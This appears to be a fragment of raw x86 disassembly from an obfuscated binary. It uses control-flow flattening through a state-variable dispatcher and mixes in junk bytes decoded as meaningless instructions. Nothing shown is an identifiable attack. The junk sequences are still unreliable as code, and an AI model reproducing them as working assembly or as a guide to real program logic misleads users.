mov eax, dword [ebp - 0x70]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov ecx, dword [0x101d23e4]
mov dword [ebp - 0x1e8], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
mov edx, dword [ebp - 0x70]
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x1e8]
mov edx, dword [edx]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, dword [ebp - 0x84]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov dword [eax], 0xa9872c3c
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
jle 0x1009a428
test byte [ebx - 0x7c], al
lodsd eax, dword [esi]
adc eax, 0xc2020e7b
loope 0x1009a3f6
sbb byte [esi - 0x2b], ch
mov dword [eax], 0x32cf68b
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
jle 0x1009a44f
adc esi, esi
lahf
add ebp, dword [eax]
scasd eax, dword es:[edi]
ret 0xb45d
xchg ebp, eax
hlt
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x58]
int3
add byte [ebx - 0x642c1bbb], cl
pushfd
jne 0x1009a448
dec eax
aam 0xd8
aam 0xdf
push es
jp 0x1009a414
or bh, dh
mov dword [eax], 0x7028eca2
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
loop 0x1009a4b7
jae 0x1009a409
push edx
pop esi
xchg ecx, eax
test eax, edi
xchg ebx, eax
loop 0x1009a4f1
mov dword [eax], 0x23d1de23
jmp 0x1009a830
cmp ecx, dword [ebx - 0x60]
jg 0x1009a4cd
xchg ebp, eax
mov dword [edi], 0
mov edx, dword [edx]
mov edx, dword [edx]
add edx, dword [esi]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], edx
or al, 0x89
adc al, 0x24
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.101af440
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x6c]
add esp, 0xc
mov edx, dword [edx]
add edx, dword [ecx]
mov dword [ecx], edx
xor ecx, ecx
leave
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.101af9c0
mov eax, dword [ebp - 0x1c]
add esp, 0xc
mov dword [eax], 0x6b3cb39a
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
imul esi, dword [esi - 0x2e], 0x49
xor byte [ecx], 0x79
test al, 0xf9
push es
inc eax
rcr byte [esi], 0xdf
push 0xffffffffffffffba
mov dword [eax], 0xc2153e85
jmp 0x1009a830
mov eax, dword [ebp - 0x1c]
dec edi
fucompi st(6)
rcr dword [edi + 0x54], 0x45
mov ebp, 0xf4f707af
mov eax, 0xdb3999d2
mov es, word [eax - 0x50b0538]
xor ch, ah
inc ebx
out 0x16, eax
xor al, 0x63
pop esp
lodsd eax, dword [esi]
mov dword [eax], 0x4ed0ada
jmp 0x1009a830
jmp 0x1008772b
int3